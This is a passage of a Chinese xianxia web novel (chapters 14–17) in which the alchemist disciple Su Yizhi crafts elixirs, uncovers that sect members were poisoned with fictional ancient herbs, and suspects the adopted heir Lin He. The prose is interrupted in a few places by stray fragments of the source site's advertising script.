苏一枝站在炼器峰北角一块凸出去的巨石上,看着脚下的思过崖。 当初她在那里受苦的时候,这块巨石上,是否有人在观看呢? 秦钟长老对苏一枝带来的东西极感兴趣,不住追问从哪里来的。 后黄石比较常见,是炼制丹炉的常见材料,寒玉粒就比较稀少了,加了寒玉粒,炼丹时就不会炸炉,但不是每个弟子都能用得起加寒玉粒的丹炉,所以丹药峰炸炉是常事。 最难得的是火云紫晶,这东西自从灵女吸空这个世界的土灵,将大陆中央变成沼泽后,几乎都见不到了。 “家父生前爱游历四方,出入不少秘境,想来是从哪个秘境里得到的,我之前不懂这些,没问过,如今想问却是再也问不到了。”苏一枝眼角湿润,几乎泛出泪花。 秦钟立刻停止了追问。 祝从容岔开话题:“玉芝过得还好吧?最近有没有回来过?” 秦钟笑意堆了一脸:“说是过些日子就回来看看呢,对了,听说苏苏有个玄天鼎,到时炼出好药,给玉芝留点啊。” “还是滋补身体的吧?” “对。我心说让她不要再生了,她不听,钟刚也劝说缓缓,好说歹说,休养了有五年吧,这又开始想要老四了。” “钟刚不错啊,也学秦家没二娶呢。” “就因为这个,玉芝才想多生啊,说是别人家孩子一个接一个,她就三个,不甘心。” “到底是个孩子。” 两人说着话题忽然又一转,问苏一枝:“苏苏想没想过找个道侣?” 苏一枝连连摆手:“不要不要,我只想好好炼药。” 祝从容:“那你可得好好努力了,像你这种资质不上不下,又没有靠山的,最容易被人盯上。” 苏一枝瞪大眼睛:“丹药峰不是我的靠山吗?” 祝从容摇头:“靠谁都不如靠自己啊。” 丹炉得三天才能成,祝从容又跟秦钟聊了几句,便带着苏一枝离开,临走前秦钟又交待:“给玉芝留点好药啊,还有那驻颜的也留点。” 两人笑着应了。 回到丹药峰,苏一枝便开始准备驻颜丹的材料,这是她的饵,她得好好对待。 尽管祝从容隐瞒了续接丹一事,丹药峰新来的女弟子有好宝贝能炼制高阶丹药的消息还是不胫而走。 更让祝从容无语的是,秦炎的徒弟秦无忌在灵兽馆挑选灵兽时,不知怎么的,身旁的一头三尾灵豹忽然发了疯,秦无忌毫防备之下,右胳膊竟被生生咬断。15岁的少年吓得连止血咒都忘了用,就那么单手抱着断臂跑上丹药峰,眼泪鼻涕和着血抹了满脸满身。 他的修为虽然可以适当自愈,但彻底断掉了的肢体,他也没法接上,关键是,被吓坏了。 苏一枝目瞪口呆,赶紧上前施了个止血咒,转身冲匆匆赶来的祝从容和柳益低声说:“怎么这么巧?咱们刚炼出续接丹。” 柳益朝祝从容伸出手。 祝从容跺了跺脚,从怀中取一颗续接丹,递给柳益,柳益立刻就塞进了秦无忌嘴里。 金色丹药入口,断臂自动复位,完全看不出受伤痕迹。 秦无忌惊呆了,抬起右手挥了几圈,又两只胳膊一齐挥舞,大喜过望:“我天!我天!我的老天!” “我天我天!”他跳起来在空中转了几圈,“比原来还好使!你们,你们不会背着我修到大乘了吧?马上要渡劫飞升了?我天我天!” 苏一枝笑了,柳益一脸欣慰,却又叹了口气,祝从容轻咳一声:“那个,无忌师侄,这个药,不多,就三颗,我们技术也还不成熟,目前无法炼制更多,你……” 秦无忌一脸了然:“知道知道,保密是吧?我明白了,谢谢谢谢!” 然而15岁小孩的话是不可信的,第二天,就又有一位弟子来了丹药峰。 这次是刑法堂堂主松伯的孙子,19岁的松仁,秦无忌好友,听说秦无忌被三尾灵豹伤了,便要去收服那豹子为友报仇,结果,催眠符不知怎么没能将豹子彻底催眠,左腿被咬掉半截,秦无忌带着他来的丹药峰。 没办法,总不能救了秦无忌却不救松仁,祝从容肉痛地掏出第二颗续接丹:“真的没有了,再来也没有了。” “保证没有下次。”秦无忌说。 “那灵豹处理了吗?灵兽馆的长老呢?”祝从容问。 秦无忌吐了吐舌头,他们都是趁长老不在偷溜进去的。 “赶紧告诉秦晖长老,那灵豹必须处理了。” 第二日,祝从容让苏一枝去灵兽馆打听那豹子处理了没有,可别再给他送来第三个缺胳膊断腿的了。 苏一枝到灵兽馆一看,乱成一团,说是昨儿夜里,跑了只七阶三尾灵豹,秦晖长老正发怒呢。本来丢了七阶灵兽就不是小事,更何况听说那豹子还发了狂,要是在外面伤了人或者是杀了人,他罪过就大了。 然而之后折腾了几日,遍寻离火宗都没发现灵豹踪影,也没有弟子受伤,秦晖长老终于放下心了,就连祝从容,也松了口气。 苏一枝悄悄笑了,那豹子,此时应该正在自己洞府门口看门呢。 她已有团团,暂时无法多收灵兽,但对于灵兽来说这样反而更好。又有哪只灵兽,能拒绝这般没有主人却有安全感可以半座山撒欢的自由呢。 这么一折腾,丹药峰有灵丹妙药的事就再也藏不住了,前来求药的弟子越来越多,祝从容每日都焦头烂额。 好在秦钟长老早将炼好的丹炉送了过来,虽然跟玄天鼎无法比,但不管是炼药速度还是出来的丹药质量,都比炼药房的丹炉甚至祝从容自己的丹炉好上不知多少。 两只丹炉都是上品法宝,一红一紫,苏一枝留了紫的那只,取名紫魄,将红的那只送给了祝从容,祝从容开心笑纳了,说那我这只就叫红魂吧,苏一枝无语。 没过多久,秦玉芝来了。 她是仙门女子的典范,甚至比林木儿还要让人艳羡。 因为林木儿虽然贵为青木宗宗主之女,又嫁了离火宗宗主秦炎,但她婚后七年一无所出,跟秦炎虽然神仙眷侣,可在外人看来,总觉得貌合神离,没人看过他们在公共场合有过什么亲密举动。 同样身为宗主,白金宗的钟刚就不一样了,钟刚对秦玉芝的宠爱,人尽皆知。 更让人津津乐道无限遐想的是,据说,婚前钟刚其实并不满意这位未婚妻,觉得她虽然漂亮喜庆,却灵根驳杂,天份不足,可真的结了婚,又如胶似膝。总是一脸肃杀的男人,每次看到自家娇妻,眉眼都柔了下来。 最重要的是,秦玉芝婚后不久就生了对龙凤胎,三年后又得一女,钟刚心疼妻子,舍不得她再生,谁知秦玉芝自己想生,这不,听说丹药峰如今的药非同以往,跟爷爷没说几句话,就迫不及待来求药了。 苏一枝静静看着眼前的女子,金色华服,无比贵气,她的脸本就圆润,如今更圆润了,圆圆的,粉粉的,扑闪着两只灵动的大眼睛,兔子一般,人畜无害。 “你就是新来的厉害弟子苏苏吗?”秦玉芝上前,挽住了苏一枝胳膊,“你长得可真好看,比离火宗所有女弟子加起来都好看。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 曾几何时,她也是这样,亲昵地挽住苏一枝胳膊,让苏一枝在被排挤孤立中感受到了一丝温暖。 她总是这样和蔼的,可亲的,无害的,也难怪如此得钟刚疼爱。 苏一枝不动声色抽出自己胳膊:“钟夫人还是按照往常惯例拿药吗?” “叫我玉芝就好。”秦玉芝凑到案前看那些瓶瓶罐罐,“药按以往的拿,但是要玄天鼎新炼的。” 苏一枝顿住手:“玄天鼎被师父拿去为宗主和木儿夫人炼药了,我这里有一些用紫魄炼的仙肌道骨丹和生花人元丹,比前些日子木儿夫人拿的那批还要好。你要吗?紫魄就是秦钟长老亲手炼制的丹炉。” “啊呀,我知道,爷爷说了,那这紫魄也是很好的,先给我拿一些。” 苏一枝将丹药取出一一摆好,秦玉芝莹白如玉的手指在那些药丸上一一划过,说:“真羡慕木儿,总是能抢先,什么都能用到最好的。不如我等几天,看柳长老为木儿炼了些什么好药。” 秦玉芝于是在离火宗住了下来,没事就往丹药峰跑,她还叫来了钟仙。 钟仙依旧一身白衣,细眉细眼,眼角眉梢都挑得高高的,一副盛气凌人的样子,点名要驻颜的仙肌道骨丹。 “我才吃了几日,便觉得肌肤更细腻通透,脸色也红润起来,比修什么驻颜术强多了。”秦玉芝说。 钟仙盯着她的脸瞧半天,又看了看苏一枝,皱眉:“只能改变肌肤吗?” 她的肌肤已经很好了,白得像瓷,通透如玉,可一直以来,从没有人说她算美人。若是能改变骨相,甚至将五官都改变,该有多好。如果她能长得像眼前这位丹药峰弟子一般,或许那林河会更温柔点。 “仙肌道骨丹之所以叫仙肌道骨丹,而不是叫仙肌丹,就证明它并不是只能改善肌肤。”苏一枝慢吞吞道,“原本它的方子是可以让人的五官甚至全身骨骼都变得更完美的,可惜,少了材料,便只能是仙肌丹了。” 钟仙狭长的眼睛一亮,瞪大不少:“什么材料?” “曾经灵气未损的时候,在土灵最浓郁的大陆中央,有两种灵草,一种相传为上古炎帝的女儿女尸死后所化,叫?草,开黄色的花,果实乍看像菟丝子,吃了它,人就能随自己心意变出最满意的容貌,而且会散发出一种让人看了不由自主喜爱的气质。在?草不远处,往往伴生着另一种叫荀草的灵植,叶子像兰花草,也开黄色的花,但果实是红色的,吃了?草再吃下荀草,就可以让变化后的容颜永驻。” “仙肌道骨丹,原本是有这两种灵草的,服用后会慢慢变成自己想要的样子。但是后来,你们也知道,灵气受损,曾经土灵最浓郁的地方变为沼泽,存留于世的?草和荀草越来越少,最后干脆就不用这两样了,效果当然大打折扣。不过听我父亲说,其实在沼泽深处,还是存活着一些万年前的灵植灵兽的。但有什么用呢,没人能去到那种地方。” 苏一枝没说谎,沼泽深处确实存活着一些万年前的灵植灵兽,不过她不是听父亲说的,而是通过四处闲逛抢地盘的团团眼睛看到的,团团本身就是存活的异兽之一。 随着团团活动范围越来越大,越来越深入沼泽,她看到的也就越来越多。 钟仙沉默了一会,问:“你如何证明你说的是真的?” 苏一枝笑道:“我为何要证明?万年前灵气有多浓郁,那时候修炼有多容易,修士们寿命有多高,又有多少灵丹妙药,这些你们回去翻翻自家门派的典籍就知道。至于沼泽深处是否真的还存在那两种灵草,我也只是听父亲说,猜测有这种可能性,需要证明什么?” 钟仙陷入沉思,秦玉芝挽起她的手,准备离开,就在这时,林木儿来了。 15. 第 15 章 柳益炼好药,通知了林木儿,林木儿直接就过来了。 药房的里间,青玉桌案上,新出炉的丹药一字排开。 阴阳和气丹,生花人元丹,九阳赤血丹,紫火通窍丹。 前两种是给林木儿的,后两种是秦炎专属。 八品,带丹纹。 这与九品有什么区别? 秦玉芝和钟仙的眼睛都直了。 柳益按捺不住内心的喜悦,同时又有点失落,他摸着最大功臣玄天鼎,心想这鼎要是属于自己该多好啊。 林木儿很满意,她还是第一次见到品相这么好的丹药,但是…… “没有新药吗?你说的方子呢?还没弄明白?” 柳益叹气:“灵气越来越稀薄,灵植一日不如一日,曾经很多有奇效的方子,都因为灵植而失去了原有效果,这样的条件下,想要再出新方子,谈何容易呢。” “我没有那么多的耐心,再给你一个月时间,要是还不行,就叫那秦师宇来。” 柳益抹了把汗,炼出八品带丹纹丹药的喜悦一扫而空,药方,药方,现在不是药方的问题,而是苦于没有材料啊。 “是想要什么样的药方呢?”苏一枝突然开口。 四人齐齐转头看她。 林木儿没有说话,柳益斟酌着用词,就听秦玉芝说:“还能是什么方子,能让修真女子怀孕的方子呗。” 钟仙也道:“自万年前灵气被破坏,修真女子生育就成了难题,想要灵根,就很难生孩子,能生孩子,修真方面又不太行。木儿灵根纯粹,被生育问题困扰很久了。” “倒也不必着急,当年钟灵夫人53岁时才生秦旭,生下宗主时,都65了。”柳益说。 秦玉芝吐了吐舌头:“然后生秦炎时难产而死了。” 众人看向她,都觉得她婚前被秦钟溺爱,婚后又被钟刚所宠,天真烂漫,没有心机,所以口无遮拦。只有苏一枝暗自笑了下,认为她纯属故意。想当初,她就连出卖自己,都显得天真无邪,好像一切都是别人的错,她是全世界最没心机的那个。 “如果夫人不嫌弃,可否让我摸下脉?” “夫人经脉没有问题。” 苏一枝摇头:“师父的医术与丹道都太过正统,而我父母游历四方,听过不少奇闻异事,或许有与师父不一样的看法。” 林木儿伸出手,但一脸嫌弃与防备。 苏一枝笑笑,伸手搭上她指尖,灵气在她体内一探,不由眉头微挑。 这林木儿,竟然,中了毒? 苏一枝疑心自己看错了,她控制着灵力,既不能被对方发现自己修的高低,又要保证足以摸透对方体内玄机。 她仔细感受,再三确认,林木儿,的的确确是中毒了。 只是,若在万年以前,中这种毒很常见,因为一不小心就会误服,可现在不是以前,林木儿是如何中毒的呢? 林木儿中的毒来自蓇蓉草,在灵气还未被破坏的时候,曾经广泛存在于各种深山老林,它的花朵是黑色的,却又莹润诱人,让人忍不住想一口吞下去,经常有人一不小心就吃了它,然后,虽然于性命无忧,却会不孕不育。 但不用担心,人常说百步之内必有解药,蓇蓉草也是如此,在它不远处,必定生着一种树,圆圆的叶子,红色花朵,花瓣上有黑色纹理,叫枳枳树,吃了它,会增强生育能力,儿孙满堂。 如果误食蓇蓉草,只要三个月内找到枳枳树,无论是叶子也好花朵也罢还是果实,吃了后都可以解毒。 为什么苏一枝对万年前的植物如此清楚,因为在寂灭空间里就有啊,剑苍山下的林子里到处都是。 她现在陷入了迷惘,林木儿到底是怎么中毒的呢?难道,如自己方才对钟仙所说,沼泽深处有很多万年前的生物存活,而真的又有人可以直达沼泽深处?还是说,这世上还有别人跟自己一样,有个类似寂灭空间这样的东西? “有什么问题吗?”见她搭着林木儿的手久不出声,眉头紧皱,柳益提心吊胆。在炼药方面,他已经比不上这新收的徒弟了,若是医术也比不上,被她发现了自己没能发现的问题,那可真是脸上无光。 林木儿面无表情,只是冷冷看着苏一枝,伸手任她搭着。 苏一枝收回手:“没有问题。只是灵根纯粹的女子,生育必然艰难。我有一方,若夫人能坚持服用,三个月后,必定有喜。” “三个月?”林木儿冷笑一声:“故弄玄虚,如何可信。” 她是无论如何不会相信这些年轻女弟子的,哪个不是藏着一肚子坏水,妄想害死她,爬上秦炎的床。 待几人离开,苏一枝叫住揣着玄天鼎想走的柳益:“师父。” 柳益皱着眉头捂紧了玄天鼎。 他基本可以断定,就凭这鼎的生发之效,无需另外药方,就用目前的人元丹,不出三年,林木儿必能怀孕,前提是宗主各方面都正常的话。现在的问题是,林木儿逼得急,等不了三年,她连三个月都不肯等,而这鼎,他又随时会失去。 没想到苏一枝却并没有讨回玄天鼎,而是说:“师父,我父亲给我留了些东西,我拿不太准,你看的医书比我多,帮我看看,是不是对夫人的身体有帮助?” 她方才趁人不注意进入空间,采了些枳枳树的花,用火灵之力烘干做旧,放到储物袋里。 柳益看着她掌心那几朵干枯的红花,皱了皱眉:“这花?” “父亲特意给我,我想定是有用的,一直留着。翻了很多医书,都说它像是枳枳树的花,我认不真切,师父看着可像?” “像!”柳益接过花,手掌翻转,一本厚厚的医书出现在眼前,他迅速翻了一遍,道:“这就是!你父亲究竟给你留了多少好东西?” 苏一枝垂眸,眼泪快要滴落:“可能就因为他闯了太多凶险秘境,所以才会早早离开人世。” 柳益便不再多问了。 他此时已经无法形容自己内心的震憾,又觉得有种不真实感,怎么就这么巧呢?这世上真有从天而降的馅饼吗? 但是不管如何,手里千真万确是枳枳树的花,俗名子孙满堂花,用此花制药,林木儿服下,肚子必有起色。当然,如果宗主没问题的话。 只是,苏苏这弟子,该说不说,有点玄妙,她会有问题吗? 柳益又看了苏一枝几眼,眼神闪烁,但没说什么,拿着玄天鼎和枳枳花就走了。 丹药峰愈发忙碌,不得已,柳益和祝从容又去那批新弟子中挑了些来帮忙。炼丹炉终日不停,每个人都忙到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冒烟。 在这样的忙碌中,苏一枝还要抽一个时辰进空间,她的修炼不能落下,虽说单打独斗的话三大门派里也没人是她对手,即使以一敌多,灵力不继时她还可以躲进空间,只要不遭遇长时间围攻,她几乎是无敌的。 但凡事都怕万一,所以她还是得炼,一是提升境界,二来,只要境界提升,每天呆在空间境的时间应该也会增加,生存更有保障。 再说了,她还得看看那些人都在做什么,她想知道,究竟是谁给林木儿下的毒。 在几乎很难找到蓇蓉草的当今世界,误服不太可能,只能是下毒。 苏一枝第一个想到的是跟林木儿有勾搭的鱼跃。 自从七年前站上神木顶,一直到现在,她第一次去看遥远北方的黑水门。 万里沼泽的北端,隔着片林子,有条河,叫黑河。 黑河西起黑山,东至乌毒湖,黑山名为黑山,实则是白的,积雪终年不化,源源不断的雪水从高高的山端流下,汇聚成湖,名为黑水湖,黑水湖向东分岔,一股流入沼泽,一股形成黑河,一路向东,弯曲着在北荒山脚下汇成乌毒湖。 巧的是,乌毒湖距曾经的小村落毒村,不到百里。 黑河以北,是乌城,面积很大,有青山城和大明城两个加起来那么大,但人却很少,冷冷清清的。 乌城往北两百里,就是黑水门所在地。如果说乌城是冷清,那黑水门就是阴森了,到处漆黑一片,半天都看不到一个人影。 苏一枝正凝神寻找鱼跃,突然黑暗中一声惨叫,吓她一跳,定睛一看,一个黑衣人从树影后走出来,月光落在他身上,他缓缓松开右手,手里拎着的东西跌落在地,那是一个被吸光了血肉的干瘪人皮。 苏一枝:??? 虽然一直对黑水门的邪术刹魂术有所耳闻,但这是第一次亲眼目睹,没想到竟如此恐怖。 “对不住了,儿子。”那人说。 苏一枝打了个寒噤,赶紧将目光拉远去看最雄伟的那处大殿。 鱼跃果然在,他面前吊着个血肉模糊的人,晃晃悠悠的,让人一颗心也跟着忽左忽右,好不容易那人晃动幅度小了,停了下来,鱼跃伸手一推,那人便又晃了起来。 苏一枝以为他在严刑拷打,结果看了半天,都快被晃吐了,才发现鱼跃竟然真的只是在玩。 “疯子。”苏一枝忍不住骂了句。 她已经觉得不可能是鱼跃了。 鱼跃这种疯子,什么都只图好玩,他不会对林木儿有多深的感情和占有欲。 更何况,刚才一路看过来,黑水门严重缺人,可以说是人丁稀薄了,这种情况下,鱼跃不会阻止林木儿生孩子,不管生的是秦炎的还是他自己的。再说,看他们这种骨肉相食的德性,拼命想要孩子的可能性更大。毕竟,多一个孩子,就多一个可吸食的人。 不是鱼跃。 至于秦玉芝钟仙林桐桐几个,苏一枝觉得即使她们有贼心,也没那个贼技术,排除。 突然,一个身影浮上苏一枝心头,她觉得这次八九不离十了,正要去看,时间到了,她被弹出了寂灭空间。 偏偏就在弹出的一瞬间,她看到了那个身影。 她曾经在秘境里,努力记住过他的模样。 16. 第 16 章 林河站在东林山上,举着觅魂珠,望向离火宗,满脸疑惑。 他从10岁开始找苏一枝,到如今,已经整整十年了。 起初只是靠着一双脚四处寻找,直到16岁那年,他偶然闯入一处秘境,得到一个宝物,名为觅魂珠,便开始用觅魂珠来找。四年来,觅魂珠总将他往沼泽里带,可荒芜沼泽茫茫万里,他一无所获。 最近不知怎么的,每次青烟燃起,觅魂珠就隐隐指向离火宗。 东林山在离火宗东南方向,山下就是丹药峰和灵兽馆,灵兽躁动不安的吼声里,离火宗灯火明灭,林河就这样远远看着忽明忽暗的灯火,坐了一夜。 第二天苏一枝是被一阵响彻天地的尖锐鸟鸣声叫醒的,那是青木宗和离火宗之间的紧急传讯符。 看来青木宗出了大事。 还在想着要不要找谁打听一下出了何事,就见有人匆匆跑来,嘴里叫着柳长老柳长老,青木宗出事了。 原来青木宗林渊幼子林森突发急症,整个青木宗束手无策,只得传讯让离火宗前去帮忙。 柳益叫上祝从容和苏一枝,驾起飞行法宝就往青木宗赶。 到了青木宗林渊居所,只见一个瘦弱男孩青白着脸躺在张可以敛神木榻上,柳益上前摸了摸那孩子的脉。 “如何?”林渊一张脸都快急得跟孩子脸一个颜色了,他身后的美妇更是泫然欲滴,满面急切,应该就是林森的母亲余芷。 柳益忽然转身看了看苏一枝,沉吟道:“没有大碍,苏苏,你刚入门,虽有根基,到底年轻,要学习的地方还很多,你来认识一下。” 苏一枝应了声,搭上林森的手,不由心头一跳。 她这便宜师父,是压根什么都探不出来,想让自己解围吧?这么个不学无术的人,也不知怎么就坐上了丹药峰头把交椅。 林森这孩子,是中了毒,而且是外界不常见的毒。 苏一枝一时拿不准下毒之人到底是开玩笑还是满怀恶意,又或者说,其实没有人下毒,是他自己误食了。 上古时期曾经有种灵兽,长得像兔子,尾巴却像蛇,惯会装死,如果误食了它的肉,也会假死一阵,这个一阵通常会是7天,7天之后自然醒转,什么事都没有。按理说寂灭秘境应该有各种异兽,可惜都被龙蛭吃光了,至于沼泽深处的那些,外形已经产生了变化,看起来完全就是兔子模样,误吃,是可能的。 团团就误吃过,苏一枝差点以为它死了。 可是林森怎么会到沼泽深处去? “记住了吗?这种情况应该如何处理,明白的吧?”柳益见苏一枝沉默,心提到了嗓子眼。 没想到苏一枝点了点头:“徒儿明白了,这就去准备药材。” 祝从容一脸莫名看了看两人,上前伸手搭了搭林森的脉,欲言又止,但终究什么也没说。 一屋子的人都松了口气,紧绷的神经骤然放松,便都有些松懈,气氛活跃起来,开始寒喧,又说起林森是怎么突然发病的,也没人问苏一枝要去哪里准备药材,需要些什么药材。 苏一枝准备随便弄些药材,装装样子,然后告诉他们7日后人就会醒,但是她发现有人在跟踪她。 真是好笑,如今这世上,还没几个人能做到跟踪她而不被发现,她根本不用回头,元神稍稍外放,就看到了那人的脸。 是昨晚她被弹出秘境时看到的那个人,也是她在真正的寂灭秘境时看到的那个人。 一切都连起来了,林森的毒是这个人下的,林木儿的毒也是这个人下的。 他想做什么? 苏一枝假装不知,在拐过一处墙角时忽然转身,冷焰刀直朝那人面门而去。 她正想外放神威施压将那人彻底压制,忽听远处传来叫声:“林河少爷!” 苏一枝收了攻势。 一个看起来四十岁上下实际年龄未知的妇人跑过来:“林河少爷,宗主让我带苏苏药师去药房,你也是去药房的吗?” 林河没理她,他静静看着苏一枝,眼神里满是探究。 苏一枝也看着他,这个曾经很多次出现在沼泽的少年,疑似用觅魂珠找过她,他应该就是秦炎所说的,林木儿的便宜堂弟。 他是抱养的,和林木儿没有血缘关系,喜欢林木儿,所以对秦炎有敌意。他不想林木儿生秦炎的孩子,所以给林木儿用毒让她无法怀孕。 作为养子,他又妒嫉林渊的亲生儿子林森,所以给林森也下了毒? 他修为不低,当初在秘境,自己练习出窍时,几次神魂被他惊扰。而且,他还会用各种毒,来自沼泽深处的毒。他经常出入沼泽深处,或者他也有个类似寂灭空间的东西。 苏一枝更倾向于他经常出入沼泽深处,之前她看到深入沼泽的那道青色身影应该也是他。 他是奉林木儿之命,找到自己赶尽杀绝? 很好。 出秘境之前,自己曾经想过第一个就杀他来着,只可惜出来后被即将重见故人的兴奋给冲昏了头,将他给忘了。 苏一枝不想连那妇人也一起杀了,只得先假装无事,被妇人带着绕过几处竹林,来到青木宗的药材库。 青木宗虽然炼不出什么好的丹药,但库存的药材是相当多的,至少是离火宗的三倍之多。 苏一枝装模作样挑选了几样,妇人一边看着她选药,一边跟她闲聊。 原来妇人是青木宗一位长老的妻子,叫孙喜男,今年62岁,金丹期,平日里负责照顾青木宗的灵植。 “那你很辛苦吧,我刚才进来时看到灵植园好大。” “不辛苦,我喜欢跟灵植打交道。要不是灵根所限,我也想学习丹药呢。” “哦?你是什么灵根?” “水木双灵根,很羡慕苏药师,年纪轻轻就有如此作为。” 自从孙喜男出现就默不作声一路跟着的林河忽然出声:“水木双灵根,算是除了纯净木灵根之外最适合青木宗的了,你怎么这把年纪还只是个金丹期?” 他靠近孙喜男,一副想要探她灵根的架势,孙喜男显然对他有些惧怕,慌忙躲开,边躲边说:“我忙于灵植和照顾长老,无心修炼。” 林河切了一声,又恢复了默默站桩的姿势,看向苏一枝。 他一身竹青色袍子,人也清瘦如竹,一头乌发用青色发带随意绑着,肤色苍白,像是病了很久,整个人散发着一种颓废而又生人勿近的气息,一双桃花眼倒是神采飞扬,此刻正不错目地盯着苏一枝瞧。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏一枝皱眉,她真是受够了这人的目光,却碍于孙喜男在旁边,不好发作。她随便拿了几样药材,说挑好了,孙喜男立刻略弯着腰在前带路,没将她带往炼药室,而是带回了林森所在的房间。 这是要让苏一枝当着众人的面炼药。 苏一枝掏出紫魄,燃起心火,柳益却连忙将玄天鼎递了过来:“用我这个。” 祝从容在旁边都无语了,觉得自己这师弟多少有点不要脸,但也不好说什么,多说了反倒显得自己格格不入。刚才苏苏不在的时间,众人都已经围观过玄天鼎了,并且言谈之中无一不把此鼎当成柳益所有,尽管他们从一开始就知道鼎是苏苏的。 苏一枝仿佛没注意到柳益的用词,接过玄天鼎,当着众人的面一样一样往里放药材,放一样讲解一样,最后说:“药每日三次,每次一丸,7日后可醒。” “7日?”余芷皱眉,已然放松的神情又紧张起来,“柳长老不是说不妨事么,为何要那么久?森儿他究竟是怎么了?” 林渊拍了拍她的肩膀:“夫人莫要担心,柳长老说了没事肯定没事。” “因一些不明原因,经脉暂闭。不过不是什么大事,药连服7日,必然无恙。” “这七日有什么要注意的吗?”余芷问。 “他这种状态,体内灵力无法运转,与寻常孩童无异,甚至更体弱些,让人不要惊扰他,注意时常帮他翻翻身子即可。”苏一枝说。 “柳儿,竹儿!”余芷示意门口候着的两个小丫头,“这几天你们照顾仔细些,再有疏忽,不会轻饶了。” 她又看了一眼默默站在苏一枝身后的林河:“你跟我出来。” 苏一枝将元神稍稍外放,听到在另一个房间里,余芷在教训林河:“你还是不肯说你弟到底遇到了什么吗?” “这话母亲问过许多遍了,我已经将弟弟跟我在一起所经历的每一件事都和盘托出,到底还想让我说什么?” “幸亏你弟这次没事,不然的话,你我母子缘分,也就到此为止了。” “要是母子缘分让你这么难受,随时可以解除。” “林河,虽说你不是我亲生的,可对你我也是悉心爱护教导,你不能这么没良心,过河拆桥恩将仇报。” “我真的很烦你的说话方式。你有证据,就去跟父亲说,跟宗主说,让他们把我逐出青木宗,你也不用再顾及什么母子情分了。说来说去,不就想让我记着你的恩情,对林森好一点,既要全力帮助他,又不能抢了他的风头,最好是能当他的一条狗,是吗?” “别忘了你现在拥有的一切,都是因为……” “你天天演戏不累吗?” “苏苏!” 苏一枝吓了一跳,就见祝从容伸手在她眼前晃,问:“发什么呆呢,我们回去了。” “哦。”苏一枝收了收心神,真是可惜,戏还没看完呢。 这个林河,她实在是摸不透,总觉得搞不太明白他到底想做什么,只希望以后不会成为自己复仇路上的绊脚石。 离开木气浓郁绿意醉人的青木宗,几人飞向笼罩在丹红火气里的离火宗。 苏一枝觉得,如果自己没料错,秦炎,也应该快来找自己了。 17. 第 17 章 秦炎正在打坐,旁边放着林木儿拿回的丹药,他觉得,效果特别好。 或许不出半月,他就能进入出窍期。 可他觉得还是不够,远远不够。 秦炎总是有种紧迫感,像是有什么东西在身后,追着他,让他片刻不敢停,不住往前赶。 其实以他的修炼速度,绝对是修真界翘楚,他爹秦旺在他这个年纪,不过金丹中期。 大家都说现在修炼艰难,但其实从前灵气充裕之时,修士们修炼速度并不快,不紧不忙的,他们只是比较容易而已。如今放眼望去,虽说灵气稀薄修炼变得很难,但大家结丹的年龄都提前了。 所有人都看得出来,修真界的寿命一年比一年更短。 以前凡人活个六七十岁不成问题,长寿者甚至可至百岁,炼气期至少百岁打底,筑基期能活个两百来年,到了金丹期,怎么也能活上500岁了,所以他们不着急,余生很长,不慌不忙。可是现在呢?几大宗门,竟没有一个200岁以上的。 冥冥中似乎有只手在搅乱这个世界的一切,规则不断被打破,不可控之事越来越多。唯一能做的,便是进阶快些,快些,再快些,仿佛多进一阶便能对这个世界多一分掌控。 听说这次纳新,丹药峰挖到了宝,一个金丹期散修,携带顶级丹炉玄天鼎前来投奔,那鼎炼出来的丹药果然效果非凡。 有此鼎相助,整个离火宗的修炼速度都将得到极大提升。 秦炎忽然想去趟丹药峰一睹究竟,也顺便再带些别的药回来。 不同于上次祭天坑,这次苏一枝终于近距离站在了秦炎面前。 如此之近,他紧绷的嘴角,淡漠的眼神,每一根眉毛,每根头发丝,就连修真人士几不可见的毛孔,都看得清清楚楚。 一身宗主专属紫色仙袍,映得药房满室光华。 “听说你很久没去上课了,为什么?” “三阶的狗也算灵宠?” “林家与秦家一向交好,林木儿从小就常来离火宗走动,大家都对她赞不绝口。倒是你,乡野地方初到离火宗,修炼认不认真先不说,起码要学会如何与人正确相处吧?不要让秦家被人看了笑话。” “你胡说些什么?见到父亲,也不下跪,这点礼数都没有吗?” “你上次向我告状时我就说过,林木儿与你无怨无仇,为何要针对你?她自小便常来离火宗做客,人人夸她热情大方,从没有谁说过她半句不好,怎么你一来就闹出这种事端?” “你知道林木儿炼成一张符箓要耗费多少材料么?岂会在你身上随意浪费。” “我看是你急着嫁人还是我急着娶妻。” “去思过崖好好磨磨你的性子吧,不然出了离火宗,看有谁敢娶你。” 苏一枝低下头,掩住了自己眼底的热意。 她常常想,林木儿和秦炎,她更恨哪一个。怎么看都该更恨林木儿才对,那些伤痕,苦痛,屈辱,肢体破碎,神魂剥离,都是林木儿带来的。可她恨林木儿,恨得明明白白,想要怎么对待林木儿,也都清清楚楚。但是对秦炎,却不知道要如何才能解恨。 秦炎动手打过她吗? 没有。 秦炎有用明显的言语侮辱过她吗? 也没有。 可为什么,恨意深埋胸口,像沼泽底沤了千年万年的腐泥。 “你就是新来的苏苏?”秦炎看向眼前低着头的女弟子,一身海棠红弟子服,周身隐隐有雪花环绕。 果然是新入门的弟子,这些灵气绕身的小把戏,但凡混到精英弟子,都是不屑玩的。 女子抬起头,脸色苍白得有些过分,连唇色都有些淡淡的,下巴尖而单薄,整个人看起来像是朵被风雨打湿将落未落的海棠花,一双眼睛却幽深而灵动。不知为什么,秦炎恍然间觉得她似乎有些面熟,但又想不起在哪里见过。 “对,她就是苏苏,以前是个散修,父母都是丹修。”旁边的柳益轻轻将苏一枝往后拉了拉,不着痕迹将她挡住。 苏一枝抿嘴:“怎么每个人都问同样的问题。” 秦炎挑了挑眉,想说还有谁问过吗,但想了想,改成了:“你不用玄天鼎能炼几品丹药?” 苏一枝将自己用紫魄炼的药拿出来给他看,秦炎看着看着,眉头舒展了。 有此鼎,不,有此人,是离火宗之幸啊。 他看着苏一枝,忽然闪过一个念头,问:“你多大了?” 苏一枝一愣:“29。” “可有道侣?” 又是一个她想都没想过的问题,苏一枝微微皱眉:“没有。” “我有一徒弟,叫秦无忌,纯粹火灵根,才15岁,已经……” “宗主,”苏一枝打断他,“我克夫。” 